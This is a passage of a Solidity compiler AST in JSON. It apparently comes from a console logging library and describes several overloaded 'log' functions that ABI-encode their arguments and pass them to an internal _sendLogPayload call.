view","virtual":false,"visibility":"internal"},{"id":18147,"nodeType":"FunctionDefinition","src":"20954:170:14","nodes":[],"body":{"id":18146,"nodeType":"Block","src":"21020:104:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e742c75696e742c616464726573732c75696e7429","id":18138,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"21070:29:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_610ba8c0cae1123f7f8ad76791afd86dc185a4f1fe79a263112118ddb5231e9f","typeString":"literal_string \"log(uint,uint,address,uint)\""},"value":"log(uint,uint,address,uint)"},{"id":18139,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18126,"src":"21101:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":18140,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18128,"src":"21105:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":18141,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18130,"src":"21109:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":18142,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18132,"src":"21113:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_610ba8c0cae1123f7f8ad76791afd86dc185a4f1fe79a263112118ddb5231e9f","typeString":"literal_string \"log(uint,uint,address,uint)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":18136,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"21046:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":18137,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"21050:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"21046:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":18143,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"21046:70:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":18135,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"21030:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":18144,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"21030:87:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":18145,"nodeType":"ExpressionStatement","src":"21030:87:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"20963:3:14","parameters":{"id":18133,"nodeType":"ParameterList","parameters":[{"constant":false,"id":18126,"mutability":"mutable","name":"p0","nameLocation":"20972:2:14","nodeType":"VariableDeclaration","scope":18147,"src":"20967:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":18125,"name":"uint","nodeType":"ElementaryTypeName","src":"20967:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":18128,"mutability":"mutable","name":"p1","nameLocation":"20981:2:14","nodeType":"VariableDeclaration","scope":18147,"src":"20976:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":18127,"name":"uint","nodeType":"ElementaryTypeName","src":"20976:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":18130,"mutability":"mutable","name":"p2","nameLocation":"20993:2:14","nodeType":"VariableDeclaration","scope":18147,"src":"20985:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":18129,"name":"address","nodeType":"ElementaryTypeName","src":"20985:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":18132,"mutability":"mutable","name":"p3","nameLocation":"21002:2:14","nodeType":"VariableDeclaration","scope":18147,"src":"20997:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":18131,"name":"uint","nodeType":"ElementaryTypeName","src":"20997:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"20966:39:14"},"returnParameters":{"id":18134,"nodeType":"ParameterList","parameters":[],"src":"21020:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":18170,"nodeType":"FunctionDefinition","src":"21130:181:14","nodes":[],"body":{"id":18169,"nodeType":"Block","src":"21205:106:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e742c75696e742c616464726573732c737472696e6729","id":18161,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"21255:31:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_d6a2d1de1bf5c0a47e82220cd592c8fb4a4a43f17ecab471044861ef70454227","typeString":"literal_string \"log(uint,uint,address,string)\""},"value":"log(uint,uint,address,string)"},{"id":18162,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18149,"src":"21288:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":18163,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18151,"src":"21292:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":18164,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18153,"src":"21296:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":18165,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18155,"src":"21300:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_d6a2d1de1bf5c0a47e82220cd592c8fb4a4a43f17ecab471044861ef70454227","typeString":"literal_string \"log(uint,uint,address,string)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":18159,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"21231:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":18160,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"21235:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"21231:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":18166,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"21231:72:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":18158,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"21215:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":18167,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"21215:89:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":18168,"nodeType":"ExpressionStatement","src":"21215:89:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"21139:3:14","parameters":{"id":18156,"nodeType":"ParameterList","parameters":[{"constant":false,"id":18149,"mutability":"mutable","name":"p0","nameLocation":"21148:2:14","nodeType":"VariableDeclaration","scope":18170,"src":"21143:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":18148,"name":"uint","nodeType":"ElementaryTypeName","src":"21143:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":18151,"mutability":"mutable","name":"p1","nameLocation":"21157:2:14","nodeType":"VariableDeclaration","scope":18170,"src":"21152:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":18150,"name":"uint","nodeType":"ElementaryTypeName","src":"21152:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":18153,"mutability":"mutable","name":"p2","nameLocation":"21169:2:14","nodeType":"VariableDeclaration","scope":18170,"src":"21161:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":18152,"name":"address","nodeType":"ElementaryTypeName","src":"21161:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":18155,"mutability":"mutable","name":"p3","nameLocation":"21187:2:14","nodeType":"VariableDeclaration","scope":18170,"src":"21173:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":18154,"name":"string","nodeType":"ElementaryTypeName","src":"21173:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"21142:48:14"},"returnParameters":{"id":18157,"nodeType":"ParameterList","parameters":[],"src":"21205:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":18193,"nodeType":"FunctionDefinition","src":"21317:170:14","nodes":[],"body":{"id":18192,"nodeType":"Block","src":"21383:104:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e742c75696e742c616464726573732c626f6f6c29","id":18184,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"21433:29:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_a8e820ae9dc5fd5a845e5dabf2b296e5588fe5a0d8101de14323ebe3e8e2b6c0","typeString":"literal_string \"log(uint,uint,address,bool)\""},"value":"log(uint,uint,address,bool)"},{"id":18185,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18172,"src":"21464:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":18186,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18174,"src":"21468:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":18187,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18176,"src":"21472:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":18188,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18178,"src":"21476:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_a8e820ae9dc5fd5a845e5dabf2b296e5588fe5a0d8101de14323ebe3e8e2b6c0","typeString":"literal_string \"log(uint,uint,address,bool)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":18182,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"21409:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":18183,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"21413:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"21409:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":18189,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"21409:70:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":18181,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"21393:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":18190,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"21393:87:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":18191,"nodeType":"ExpressionStatement","src":"21393:87:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"21326:3:14","parameters":{"id":18179,"nodeType":"ParameterList","parameters":[{"constant":false,"id":18172,"mutability":"mutable","name":"p0","nameLocation":"21335:2:14","nodeType":"VariableDeclaration","scope":18193,"src":"21330:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":18171,"name":"uint","nodeType":"ElementaryTypeName","src":"21330:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":18174,"mutability":"mutable","name":"p1","nameLocation":"21344:2:14","nodeType":"VariableDeclaration","scope":18193,"src":"21339:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":18173,"name":"uint","nodeType":"ElementaryTypeName","src":"21339:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":18176,"mutability":"mutable","name":"p2","nameLocation":"21356:2:14","nodeType":"VariableDeclaration","scope":18193,"src":"21348:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":18175,"name":"address","nodeType":"ElementaryTypeName","src":"21348:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":18178,"mutability":"mutable","name":"p3","nameLocation":"21365:2:14","nodeType":"VariableDeclaration","scope":18193,"src":"21360:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":18177,"name":"bool","nodeType":"ElementaryTypeName","src":"21360:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"21329:39:14"},"returnParameters":{"id":18180,"nodeType":"ParameterList","parameters":[],"src":"21383:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":18216,"nodeType":"FunctionDefinition","src":"21493:176:14","nodes":[],"body":{"id":18215,"nodeType":"Block","src":"21562:107:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e742c75696e742c616464726573732c6164647265737329","id":18207,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"21612:32:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_ca939b20e9284d76bbbc091d0d45d06f650171230ac4f1f35652b8b6e1579811","typeString":"literal_string \"log(uint,uint,address,address)\""},"value":"log(uint,uint,address,address)"},{"id":18208,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18195,"src":"21646:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":18209,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18197,"src":"21650:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":18210,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18199,"src":"21654:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":18211,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18201,"src":"21658:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_ca939b20e9284d76bbbc091d0d45d06f650171230ac4f1f35652b8b6e1579811","typeString":"literal_string \"log(uint,uint,address,address)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":18205,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"21588:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":18206,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"21592:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"21588:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":18212,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"21588:73:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":18204,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"21572:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":18213,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"21572:90:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":18214,"nodeType":"ExpressionStatement","src":"21572:90:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"21502:3:14","parameters":{"id":18202,"nodeType":"ParameterList","parameters":[{"constant":false,"id":18195,"mutability":"mutable","name":"p0","nameLocation":"21511:2:14","nodeType":"VariableDeclaration","scope":18216,"src":"21506:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":18194,"name":"uint","nodeType":"ElementaryTypeName","src":"21506:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":18197,"mutability":"mutable","name":"p1","nameLocation":"21520:2:14","nodeType":"VariableDeclaration","scope":18216,"src":"21515:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":18196,"name":"uint","nodeType":"ElementaryTypeName","src":"21515:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":18199,"mutability":"mutable","name":"p2","nameLocation":"21532:2:14","nodeType":"VariableDeclaration","scope":18216,"src":"21524:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":18198,"name":"address","nodeType":"ElementaryTypeName","src":"21524:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":18201,"mutability":"mutable","name":"p3","nameLocation":"21544:2:14","nodeType":"VariableDeclaration","scope":18216,"src":"21536:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":18200,"name":"address","nodeType":"ElementaryTypeName","src":"21536:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"21505:42:14"},"returnParameters":{"id":18203,"nodeType":"ParameterList","parameters":[],"src":"21562:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":18239,"nodeType":"FunctionDefinition","src":"21675:175:14","nodes":[],"body":{"id":18238,"nodeType":"Block","src":"21747:103:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e742c737472696e672c75696e742c75696e7429","id":18230,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"21797:28:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_c0043807b5f951e0375253205c951c6e6a6b19b5de111342e8f6be7c7f284628","typeString":"literal_string \"log(uint,string,uint,uint)\""},"value":"log(uint,string,uint,uint)"},{"id":18231,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18218,"src":"21827:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":18232,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18220,"src":"21831:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":18233,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18222,"src":"21835:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":18234,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18224,"src":"21839:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_c0043807b5f951e0375253205c951c6e6a6b19b5de111342e8f6be7c7f284628","typeString":"literal_string \"log(uint,string,uint,uint)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":18228,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"21773:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":18229,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"21777:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"21773:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":18235,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"21773:69:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":18227,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"21757:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":18236,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"21757:86:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":18237,"nodeType":"ExpressionStatement","src":"21757:86:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"21684:3:14","parameters":{"id":18225,"nodeType":"ParameterList","parameters":[{"constant":false,"id":18218,"mutability":"mutable","name":"p0","nameLocation":"21693:2:14","nodeType":"VariableDeclaration","scope":18239,"src":"21688:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":18217,"name":"uint","nodeType":"ElementaryTypeName","src":"21688:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":18220,"mutability":"mutable","name":"p1","nameLocation":"21711:2:14","nodeType":"VariableDeclaration","scope":18239,"src":"21697:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":18219,"name":"string","nodeType":"ElementaryTypeName","src":"21697:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":18222,"mutability":"mutable","name":"p2","nameLocation":"21720:2:14","nodeType":"VariableDeclaration","scope":18239,"src":"21715:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":18221,"name":"uint","nodeType":"ElementaryTypeName","src":"21715:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":18224,"mutability":"mutable","name":"p3","nameLocation":"21729:2:14","nodeType":"VariableDeclaration","scope":18239,"src":"21724:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":18223,"name":"uint","nodeType":"ElementaryTypeName","src":"21724:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"21687:45:14"},"returnParameters":{"id":18226,"nodeType":"ParameterList","parameters":[],"src":"21747:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":18262,"nodeType":"FunctionDefinition","src":"21856:186:14","nodes":[],"body":{"id":18261,"nodeType":"Block","src":"21937:105:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e742c737472696e672c75696e742c737472696e6729","id":18253,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"21987:30:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_a2bc0c99cedfd873182e8eb1e68799dc8925c663b8ce2430858586fba62fe313","typeString":"literal_string \"log(uint,string,uint,string)\""},"value":"log(uint,string,uint,string)"},{"id":18254,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18241,"src":"22019:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":18255,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18243,"src":"22023:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":18256,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18245,"src":"22027:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":18257,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18247,"src":"22031:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_a2bc0c99cedfd873182e8eb1e68799dc8925c663b8ce2430858586fba62fe313","typeString":"literal_string \"log(uint,string,uint,string)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":18251,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"21963:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":18252,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"21967:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"21963:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes 